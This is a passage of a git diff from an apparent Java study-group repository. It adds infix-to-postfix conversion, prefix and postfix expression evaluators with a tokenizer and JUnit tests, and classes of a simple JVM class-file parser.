+ * 遇到数组直接放入集合等待输出
+ * 遇到运算符入栈，如果栈顶元素的优先级较待入栈运算符的优先级高，将栈顶元素取出放入集合等待输出，否则直接入栈
+ */
+public class InfixToPostfix {
+    public static List<Token> convert(String expr) {
+        List<Token> result = new ArrayList<Token>();
+        TokenParser tokenParser = new TokenParser();
+        List<Token> tokens = tokenParser.parse(expr);
+        MyStack<Token> stack = new MyStack<Token>();
+        if (tokens != null) {
+            for (Token token : tokens) {
+                if (token.isNumber())
+                    result.add(token);
+                else {
+                    while (!stack.isEmpty()) {
+                        Token prevOper = stack.peek();
+                        if (token.hasHigherPriority(prevOper)) {
+                            stack.push(token);
+                            break;
+                        } else {
+                            result.add(stack.pop());
+                        }
+                    }
+                    //和+或者-同优先级或者更高优先级的都已经弹栈，只剩空栈
+                    if (stack.isEmpty()) stack.push(token);
+                }
+            }
+        }
+        //将剩余的所有符号出栈
+        while (!stack.isEmpty())
+            result.add(stack.pop());
+        return result;
+    }
+}
diff --git a/group17/785396327/4.9/expr/InfixToPostfixTest.java b/group17/785396327/4.9/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..f1dcd3f466
--- /dev/null
+++ b/group17/785396327/4.9/expr/InfixToPostfixTest.java
@@ -0,0 +1,41 @@
+package expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by IBM on 2017/4/23.
+ */
+public class InfixToPostfixTest {
+
+
+    @Before
+    public void setUp() {
+
+    }
+
+    @After
+    public void tearDown() {
+
+    }
+
+    @Test
+    public void testConvert() {
+        {
+            Assert.assertEquals("[2, 3, 4, *, +, 5, +]", InfixToPostfix.convert("2+3*4+5").toString());
+        }
+        {
+            Assert.assertEquals("[3, 20, *, 12, 5, *, +, 40, 2, /, -]", InfixToPostfix.convert("3*20+12*5-40/2").toString());
+        }
+
+        {
+            Assert.assertEquals("[3, 20, *, 2, /]", InfixToPostfix.convert("3*20/2").toString());
+        }
+
+        {
+            Assert.assertEquals("[20, 2, /, 3, *]", InfixToPostfix.convert("20/2*3").toString());
+        }
+    }
+}
diff --git a/group17/785396327/4.9/expr/OperEnum.java b/group17/785396327/4.9/expr/OperEnum.java
new file mode 100644
index 0000000000..adb41b75ff
--- /dev/null
+++ b/group17/785396327/4.9/expr/OperEnum.java
@@ -0,0 +1,21 @@
+package expr;
+
+/**
+ * Created by IBM on 2017/4/15.
+ */
+public enum OperEnum {
+    ADD("+"), SUBTRACT("-"), MULTIPLY("*"), MINUS("/");
+    private String operator;
+
+    OperEnum(String operator) {
+        this.operator = operator;
+    }
+
+    public String getOperator() {
+        return operator;
+    }
+
+    public void setOperator(String operator) {
+        this.operator = operator;
+    }
+}
diff --git a/group17/785396327/4.9/expr/PostfixExpr.java b/group17/785396327/4.9/expr/PostfixExpr.java
new file mode 100644
index 0000000000..c22b7788aa
--- /dev/null
+++ b/group17/785396327/4.9/expr/PostfixExpr.java
@@ -0,0 +1,48 @@
+package expr;
+
+import stack.MyStack;
+
+import java.util.List;
+
+/**
+ * Created by gongxun on 2017/4/22.
+ */
+public class PostfixExpr {
+    String expr = null;
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        TokenParser tokenParser = new TokenParser();
+        if (expr == null)
+            throw new RuntimeException("wrong expr !");
+        MyStack<Float> stack = new MyStack<Float>();
+        List<Token> tokens = tokenParser.parse(expr);
+        if (tokens != null) {
+            for (Token token : tokens) {
+                if (token.isNumber())
+                    stack.push(((Integer) token.getIntValue()).floatValue());
+                else {
+                    Float value = calcValue(token, stack);
+                    stack.push(value);
+                }
+            }
+        }
+        return stack.pop();
+    }
+
+    private Float calcValue(Token token, MyStack<Float> stack) {
+        String operator = token.toString();
+        Float rightNum = stack.pop();
+        Float leftNum = stack.pop();
+        if (operator.equals("+"))
+            return leftNum + rightNum;
+        else if (operator.equals("-"))
+            return leftNum - rightNum;
+        else if (operator.equals("*"))
+            return leftNum * rightNum;
+        return leftNum / rightNum;
+    }
+}
diff --git a/group17/785396327/4.9/expr/PostfixExprTest.java b/group17/785396327/4.9/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..378e8f2407
--- /dev/null
+++ b/group17/785396327/4.9/expr/PostfixExprTest.java
@@ -0,0 +1,38 @@
+package expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by gongxun on 2017/4/22.
+ */
+public class PostfixExprTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        {
+            PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+            Assert.assertEquals(288, expr.evaluate(), 0.0f);
+        }
+        {
+            //9+(3-1)*3+10/2
+            PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+            Assert.assertEquals(20, expr.evaluate(),0.0f);
+        }
+
+        {
+            //10-2*3+50
+            PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+            Assert.assertEquals(54, expr.evaluate(),0.0f);
+        }
+    }
+}
diff --git a/group17/785396327/4.9/expr/PrefixExpr.java b/group17/785396327/4.9/expr/PrefixExpr.java
new file mode 100644
index 0000000000..b29ffa0c64
--- /dev/null
+++ b/group17/785396327/4.9/expr/PrefixExpr.java
@@ -0,0 +1,48 @@
+package expr;
+
+import stack.MyStack;
+
+import java.util.List;
+
+/**
+ * Created by gongxun on 2017/4/22.
+ * 从后向前遍历入栈
+ */
+public class PrefixExpr {
+    String expr = null;
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        TokenParser tokenParser = new TokenParser();
+        if (expr == null)
+            throw new RuntimeException("wrong expr !");
+        MyStack<Float> stack = new MyStack<Float>();
+        List<Token> tokens = tokenParser.parse(expr);
+        for (int i = tokens.size() - 1; i >= 0; i--) {
+            Token token = tokens.get(i);
+            if (token.isNumber())
+                stack.push(((Integer) token.getIntValue()).floatValue());
+            else {
+                Float value = calcValue(stack, token.toString());
+                stack.push(value);
+            }
+        }
+        return stack.pop();
+    }
+
+
+    private Float calcValue(MyStack<Float> stack, String operator) {
+        Float leftNum = stack.pop();
+        Float rightNum = stack.pop();
+        if (operator.equals("+"))
+            return leftNum + rightNum;
+        else if (operator.equals("-"))
+            return leftNum - rightNum;
+        else if (operator.equals("*"))
+            return leftNum * rightNum;
+        return leftNum / rightNum;
+    }
+}
diff --git a/group17/785396327/4.9/expr/PrefixExprTest.java b/group17/785396327/4.9/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..326bfd9f2c
--- /dev/null
+++ b/group17/785396327/4.9/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by gongxun on 2017/4/22.
+ */
+public class PrefixExprTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        {
+            // 2*3+4*5
+            PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+            Assert.assertEquals(26, expr.evaluate(), 0.001f);
+        }
+        {
+            // 4*2 + 6+9*2/3 -8
+            PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+            Assert.assertEquals(12, expr.evaluate(), 0.001f);
+        }
+        {
+            //(3+4)*5-6
+            PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+            Assert.assertEquals(29, expr.evaluate(), 0.001f);
+        }
+        {
+            //1+((2+3)*4)-5
+            PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+            Assert.assertEquals(16, expr.evaluate(), 0.001f);
+        }
+
+
+    }
+}
diff --git a/group17/785396327/4.9/expr/Token.java b/group17/785396327/4.9/expr/Token.java
new file mode 100644
index 0000000000..093be5c416
--- /dev/null
+++ b/group17/785396327/4.9/expr/Token.java
@@ -0,0 +1,52 @@
+package expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by gongxun on 2017/4/22.
+ */
+public class Token {
+    public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+    private static final Map<String,Integer> priorities = new HashMap<String,Integer>();
+    static {
+        priorities.put("+", 1);
+        priorities.put("-", 1);
+        priorities.put("*", 2);
+        priorities.put("/", 2);
+    }
+    static final int OPERATOR = 1;
+    static final int NUMBER = 2;
+    String value;
+    int type;
+    public Token(int type, String value){
+        this.type = type;
+        this.value = value;
+    }
+
+    public boolean isNumber() {
+        return type == NUMBER;
+    }
+
+    public boolean isOperator() {
+        return type == OPERATOR;
+    }
+
+    public int getIntValue() {
+        return Integer.valueOf(value).intValue();
+    }
+    public String toString(){
+        return value;
+    }
+
+    public boolean hasHigherPriority(Token t){
+        if(!this.isOperator() && !t.isOperator()){
+            throw new RuntimeException("numbers can't compare priority");
+        }
+        return priorities.get(this.value) - priorities.get(t.value) > 0;
+    }
+
+
+}
diff --git a/group17/785396327/4.9/expr/TokenParser.java b/group17/785396327/4.9/expr/TokenParser.java
new file mode 100644
index 0000000000..6c54890a42
--- /dev/null
+++ b/group17/785396327/4.9/expr/TokenParser.java
@@ -0,0 +1,58 @@
+package expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by gongxun on 2017/4/22.
+ */
+public class TokenParser {
+    public List<Token> parse(String expr) {
+        List<Token> tokens = new ArrayList<Token>();
+
+        int i = 0;
+
+        while (i < expr.length()) {
+
+            char c = expr.charAt(i);
+
+            if (isOperator(c)) {
+
+                Token t = new Token(Token.OPERATOR, String.valueOf(c));
+                tokens.add(t);
+                i++;
+
+            } else if (Character.isDigit(c)) {
+
+                int nextOperatorIndex = indexOfNextOperator(i, expr);
+                String value = expr.substring(i, nextOperatorIndex);
+                Token t = new Token(Token.NUMBER, value);
+                tokens.add(t);
+                i = nextOperatorIndex;
+
+            } else{
+//                System.out.println("char :["+c+"] is not number or operator,ignore");
+                i++;
+            }
+
+        }
+        return tokens;
+    }
+
+    private  int indexOfNextOperator(int i, String expr) {
+
+        while (Character.isDigit(expr.charAt(i))) {
+            i++;
+            if (i == expr.length()) {
+                break;
+            }
+        }
+        return i;
+
+    }
+
+    private  boolean isOperator(char c) {
+        String sc = String.valueOf(c);
+        return Token.OPERATORS.contains(sc);
+    }
+}
diff --git a/group17/785396327/4.9/expr/TokenParserTest.java b/group17/785396327/4.9/expr/TokenParserTest.java
new file mode 100644
index 0000000000..793ba1fe0b
--- /dev/null
+++ b/group17/785396327/4.9/expr/TokenParserTest.java
@@ -0,0 +1,47 @@
+package expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+/**
+ * Created by gongxun on 2017/4/22.
+ */
+public class TokenParserTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void test() {
+
+        TokenParser parser = new TokenParser();
+        List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+
+        Assert.assertEquals(300, tokens.get(0).getIntValue());
+        Assert.assertEquals("*", tokens.get(1).toString());
+        Assert.assertEquals(20, tokens.get(2).getIntValue());
+        Assert.assertEquals("+", tokens.get(3).toString());
+        Assert.assertEquals(12, tokens.get(4).getIntValue());
+        Assert.assertEquals("*", tokens.get(5).toString());
+        Assert.assertEquals(5, tokens.get(6).getIntValue());
+        Assert.assertEquals("-", tokens.get(7).toString());
+        Assert.assertEquals(20, tokens.get(8).getIntValue());
+        Assert.assertEquals("/", tokens.get(9).toString());
+        Assert.assertEquals(4, tokens.get(10).getIntValue());
+    }
+
+    @Test
+    public void testPostfixExprParser() {
+        TokenParser tokenParser = new TokenParser();
+        List<Token> tokens = tokenParser.parse("6 5 2 3 + 8 * + 3 + *");
+        System.out.println(tokens);
+    }
+}
diff --git a/group17/785396327/4.9/field/Field.java b/group17/785396327/4.9/field/Field.java
new file mode 100644
index 0000000000..dda04d2d4b
--- /dev/null
+++ b/group17/785396327/4.9/field/Field.java
@@ -0,0 +1,41 @@
+package field;
+
+import constant.ConstantPool;
+import iterator.ByteCodeIterator;
+
+/**
+ * Created by IBM on 2017/4/12.
+ */
+public class Field {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+
+    private ConstantPool pool;
+
+    public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
+
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+        this.pool = pool;
+    }
+
+
+    public static Field parse(ConstantPool pool, ByteCodeIterator iter) {
+        int accessFlags = iter.nextU2ToInt();
+        int nameIndex = iter.nextU2ToInt();
+        int descriptor_index = iter.nextU2ToInt();
+        int attributesCount = iter.nextU2ToInt();
+        if (attributesCount > 0) {
+            throw new RuntimeException("Field字段表，暂时不支持存在属性");
+        }
+        return new Field(accessFlags, nameIndex, descriptor_index, pool);
+    }
+
+    @Override
+    public String toString() {
+        return pool.getUTF8String(nameIndex) + ":" + pool.getUTF8String(descriptorIndex);
+    }
+}
diff --git a/group17/785396327/4.9/method/Method.java b/group17/785396327/4.9/method/Method.java
new file mode 100644
index 0000000000..1b5daa244b
--- /dev/null
+++ b/group17/785396327/4.9/method/Method.java
@@ -0,0 +1,67 @@
+package method;
+
+import attr.CodeAttr;
+import clz.ClassFile;
+import cmd.ByteCodeCommand;
+import iterator.ByteCodeIterator;
+import util.Util;
+
+/**
+ * Created by IBM on 2017/4/12.
+ */
+public class Method {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+
+    private ClassFile clzFile;
+
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr code) {
+        this.codeAttr = code;
+    }
+
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
+        int accessFlags = iter.nextU2ToInt();
+        int nameIndex = iter.nextU2ToInt();
+        int descriptorIndex = iter.nextU2ToInt();
+        int attributesCount = iter.nextU2ToInt();//有几个属性
+        Method method = new Method(clzFile, accessFlags, nameIndex, descriptorIndex);
+        for (int i = 0; i < attributesCount; i++) {
+            CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+            method.setCodeAttr(codeAttr);
+        }
+        return method;
+
+    }
+
+    public ByteCodeCommand[] getCmds() {
+        return this.getCodeAttr().getCmds();
+    }
+}
diff --git a/group17/82427129/.gitignore b/group17/82427129/.gitignore
index 090f729088..35cadcc5f6 100644
--- a/group17/82427129/.gitignore
+++ b/group17/82427129/.gitignore
@@ -14,4 +14,6 @@
 
 .project
 
-Test.java
\ No newline at end of file
+Test.java
+
+Algorithms/
\ No newline at end of file
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/AttributeInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..8fb9e91d57
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;// u2 attribute_name_index
+	int attrLen;// u4 attribute_length
+
+	public abstract String getType();
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+
+	public static AttributeInfo parse(ConstantPool pool, ByteCodeIterator itr) {
+		int attrNameIndex = itr.nextU2toInt();
+		String attrName = ((UTF8Info) pool.getConstantInfo(attrNameIndex))
+				.getValue();
+		itr.back(2);
+		switch (attrName) {
+		case CODE:
+			return CodeAttr.parse(pool, itr);
+		case LINE_NUM_TABLE:
+			return LineNumberTable.parse(pool, itr);
+		case LOCAL_VAR_TABLE:
+			return LocalVariableTable.parse(pool, itr);
+		default:
+			throw new RuntimeException(
+					"attributeInfo exclude CodeAttr hasn't implemented");
+		}
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/CodeAttr.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..1f9cfdc169
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,129 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+
+	private static String TYPE = CODE;
+	private int maxStack;//u2 max_stack
+	private int maxLocals;//u2 max_locals
+	private int codeLenth;//u4 code_length
+	private String code;//u1 code[code_length]
+	private int exceptionTableLength;//u2 exception_table_length;
+	/*
+	 * { u2 start_pc;
+		u2 end_pc;
+		u2 handler_pc;
+		u2 catch_type;
+		} exception_table[exception_table_length];
+	private ExceptionTable exceptionTable;//unimplemented*/
+	private int attrCount;//u2 attributes_count
+	private List<AttributeInfo> AttrList = new ArrayList<AttributeInfo>();//attribute_info attributes[attributes_count];
+
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack,
+			int maxLocals, int codeLenth, String code,
+			int exceptionTableLength, int attrCount) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLenth = codeLenth;
+		this.code = code;
+		this.exceptionTableLength = exceptionTableLength;
+		this.attrCount = attrCount;
+	}
+
+	/**
+	 * 给CodeAttr 增加属性
+	 * @param a
+	 */
+	public void addAttr(AttributeInfo a){
+		this.AttrList.add(a);
+	}
+	
+	@Override
+	public String getType() {
+		return TYPE;
+	}
+	
+	public static CodeAttr parse(ConstantPool pool, ByteCodeIterator itr) {
+		int attrNameIndex = itr.nextU2toInt();
+		int attrLen = itr.nextU4toInt();
+		int maxStack = itr.nextU2toInt();
+		int maxLocals = itr.nextU2toInt();
+		int codeLenth = itr.nextU4toInt();
+		String code = itr.nextUxtoHexString(codeLenth);
+		int exceptionTableLength = itr.nextU2toInt();
+		int attrCount = itr.nextU2toInt();
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals,
+				codeLenth, code, exceptionTableLength, attrCount);
+		for (int i = 0; i < attrCount; i++) {
+			codeAttr.addAttr(AttributeInfo.parse(pool, itr));
+		}
+		return codeAttr;
+	}
+	/*
+	 * getter setter
+	 */
+	public int getMaxStack() {
+		return maxStack;
+	}
+
+	public void setMaxStack(int maxStack) {
+		this.maxStack = maxStack;
+	}
+
+	public int getMaxLocals() {
+		return maxLocals;
+	}
+
+	public void setMaxLocals(int maxLocals) {
+		this.maxLocals = maxLocals;
+	}
+
+	public int getCodeLenth() {
+		return codeLenth;
+	}
+
+	public void setCodeLenth(int codeLenth) {
+		this.codeLenth = codeLenth;
+	}
+
+	public void setCode(String code) {
+		this.code = code;
+	}
+
+	public String getCode() {
+		return code;
+	}
+
+	public int getAttrCount() {
+		return attrCount;
+	}
+
+	public void setAttrCount(int attrCount) {
+		this.attrCount = attrCount;
+	}
+
+	public List<AttributeInfo> getAttrList() {
+		return AttrList;
+	}
+
+	public void setAttrList(List<AttributeInfo> attrList) {
+		AttrList = attrList;
+	}
+
+	public int getExceptionTableLength() {
+		return exceptionTableLength;
+	}
+
+	public void setExceptionTableLength(int exceptionTableLength) {
+		this.exceptionTableLength = exceptionTableLength;
+	}
+
+	
+
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LineNumberTable.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..4cce2e0368
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,77 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+
+	private static String TYPE = LINE_NUM_TABLE;
+	private int lineNumberTableLength;
+	private List<LineNumberItem> lineNumberTable = new ArrayList<LineNumberTable.LineNumberItem>();
+
+	public LineNumberTable(int attrNameIndex, int attrLen,
+			int lineNumberTableLength) {
+		super(attrNameIndex, attrLen);
+		this.lineNumberTableLength = lineNumberTableLength;
+	}
+
+	public void addLineNumberItem(LineNumberItem e) {
+		this.lineNumberTable.add(e);
+	}
+
+	@Override
+	public String getType() {
+		return TYPE;
+	}
+	public static LineNumberTable parse(ConstantPool pool, ByteCodeIterator itr) {
+		int attrNameIndex = itr.nextU2toInt();
+		int attrLen = itr.nextU4toInt();
+		int lineNumberTableLength = itr.nextU2toInt();
+		LineNumberTable lineNumberTable = new LineNumberTable(attrNameIndex,
+				attrLen, lineNumberTableLength);
+		for (int i = 0; i < lineNumberTableLength; i++) {
+			lineNumberTable.addLineNumberItem(LineNumberItem.parse(pool, itr));
+		}
+		return lineNumberTable;
+	}
+
+	/**
+	 *  
+	 * @author Meng
+	 *
+	 */
+	private static class LineNumberItem {
+		@SuppressWarnings("unused")
+		private int startPc;
+		@SuppressWarnings("unused")
+		private int lineNum;
+
+		public LineNumberItem(int startPc, int lineNum) {
+			super();
+			this.startPc = startPc;
+			this.lineNum = lineNum;
+		}
+
+		public static LineNumberItem parse(ConstantPool pool,
+				ByteCodeIterator itr) {
+			int startPc = itr.nextU2toInt();
+			int lineNum = itr.nextU2toInt();
+			return new LineNumberTable.LineNumberItem(startPc, lineNum);
+		}
+	}
+
+	/*
+	 * getter setter
+	 */
+	public int getLineNumberTableLength() {
+		return lineNumberTableLength;
+	}
+
+	public void setLineNumberTableLength(int lineNumberTableLength) {
+		this.lineNumberTableLength = lineNumberTableLength;
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LocalVariableTable.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..b5d5147a3f
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,93 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo {
+
+	private static String TYPE = LOCAL_VAR_TABLE;
+	private int localVarTableLength;// u2 local_variable_table_length
+	private List<LocalVariableItem> itemList = new ArrayList<LocalVariableItem>();
+
+	public LocalVariableTable(int attrNameIndex, int attrLen,
+			int localVarTableLength) {
+		super(attrNameIndex, attrLen);
+		this.localVarTableLength = localVarTableLength;
+	}
+
+	public void addItemList(LocalVariableItem item) {
+		this.itemList.add(item);
+	}
+
+	@Override
+	public String getType() {
+		return TYPE;
+	}
+	public static LocalVariableTable parse(ConstantPool pool,
+			ByteCodeIterator itr) {
+		int attrNameIndex = itr.nextU2toInt();
+		int attrLen = itr.nextU4toInt();
+		int localVarTableLength = itr.nextU2toInt();
+		LocalVariableTable table = new LocalVariableTable(attrNameIndex,
+				attrLen, localVarTableLength);
+		for (int i = 0; i < localVarTableLength; i++) {
+			table.addItemList(LocalVariableItem.parse(pool, itr));
+		}
+		return table;
+	}
+
+	/**
+	 * inner class
+	 * 
+	 * @author Meng
+	 *
+	 */
+	public static class LocalVariableItem {
+		@SuppressWarnings("unused")
+		private int startPc;
+		@SuppressWarnings("unused")
+		private int length;
+		@SuppressWarnings("unused")
+		private int nameIndex;
+		@SuppressWarnings("unused")
+		private int descriptorIndex;
+		@SuppressWarnings("unused")
+		private int index;
+
+		public LocalVariableItem(int startPc, int length, int nameIndex,
+				int descriptorIndex, int index) {
+			super();
+			this.startPc = startPc;
+			this.length = length;
+			this.nameIndex = nameIndex;
+			this.descriptorIndex = descriptorIndex;
+			this.index = index;
+		}
+
+		public static LocalVariableItem parse(ConstantPool pool,
+				ByteCodeIterator itr) {
+			int startPc = itr.nextU2toInt();
+			int length = itr.nextU2toInt();
+			int nameIndex = itr.nextU2toInt();
+			int descriptorIndex = itr.nextU2toInt();
+			int index = itr.nextU2toInt();
+			LocalVariableItem item = new LocalVariableItem(startPc, length, nameIndex, descriptorIndex, index);
+			return item;
+		}
+	}
+
+	/*
+	 * getter setter
+	 */
+	public int getLocalVarTableLength() {
+		return localVarTableLength;
+	}
+
+	public void setLocalVarTableLength(int localVarTableLength) {
+		this.localVarTableLength = localVarTableLength;
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/StackMapTable.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..01b80b0471
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.attr;
+
+public class StackMapTable extends AttributeInfo{
+
+	private static String TYPE = STACK_MAP_TABLE;
+	@Override
+	public String getType() {
+		return TYPE;
+	}
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/AccessFlag.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..ee70c4305c
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassFile.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..7460b4953b
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,109 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	private int minorVersion;
+	private int majorVersion;
+
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+
+	public void print() {
+		if (this.accessFlag.isPublicClass()) {
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:" + getClassName());
+
+		System.out.println("Super Class Name:" + getSuperClassName());
+	}
+
+	public String getClassName() {
+		int index = this.clzIndex.getThisClassIndex();
+		ClassInfo c = (ClassInfo) pool.getConstantInfo(index);
+		return c.getClassName();
+	}
+
+	public String getSuperClassName() {
+		int index = this.clzIndex.getSuperClassIndex();
+		ClassInfo c = (ClassInfo) pool.getConstantInfo(index);
+		return c.getClassName();
+	}
+
+	public void addFields(Field f) {
+		this.fields.add(f);
+	}
+
+	public void addMethods(Method m) {
+		this.methods.add(m);
+	}
+
+	/*
+	 * getter setter
+	 */
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+
+	public void setClzIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
+	}
+
+	public ConstantPool getConstantPool() {
+		return pool;
+	}
+
+	public void setPool(ConstantPool pool) {
+		this.pool = pool;
+	}
+
+	public List<Field> getFields() {
+		return fields;
+	}
+
+	public void setFields(List<Field> fl) {
+		this.fields = fl;
+	}
+
+	public List<Method> getMethods() {
+		return methods;
+	}
+
+	public void setMethods(List<Method> ml) {
+		this.methods = ml;
+	}
+
+}
